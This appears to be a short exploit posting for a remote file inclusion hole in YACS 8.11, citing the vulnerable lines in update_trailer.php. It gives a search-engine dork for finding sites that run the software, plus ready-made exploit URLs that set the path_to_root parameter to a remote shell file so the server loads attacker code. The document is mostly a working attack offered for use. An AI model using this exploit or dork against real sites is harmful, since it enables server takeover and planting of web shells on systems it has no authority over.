-----------------[remote file include]----------------- script: YACS version 8.11 ------------------------------------------------------------------ download from: http://www.yetanothercommunitysystem.com/file-fetch/814-20081130-yacs-8.11rc30.zip ============================================== vul: /yacs/scripts/update_trailer.php line 21 23 25; include_once $context['path_to_root'].'shared/safe.php'; 21 if(!class_exists('i18n')) include_once $context['path_to_root'].'i18n/i18n.php'; 23 if(!class_exists('SQL')) include_once $context['path_to_root'].'shared/sql.php'; 25 ============================================== dork: "Powered by yacs" ---------------------------------------------- xpl: http://127.0.0.1/path/yacs/scripts/update_trailer.php?context[path_to_root]=[shell.txt?] http://127.0.0.1/yacs/scripts/update_trailer.php?context[path_to_root]=[shell.txt?] *************************************************** *************************************************** --------------------------------------------------- Author: ahmadbady [kivi_hacker666@yahoo.com] from[iran] ---------------------------------------------------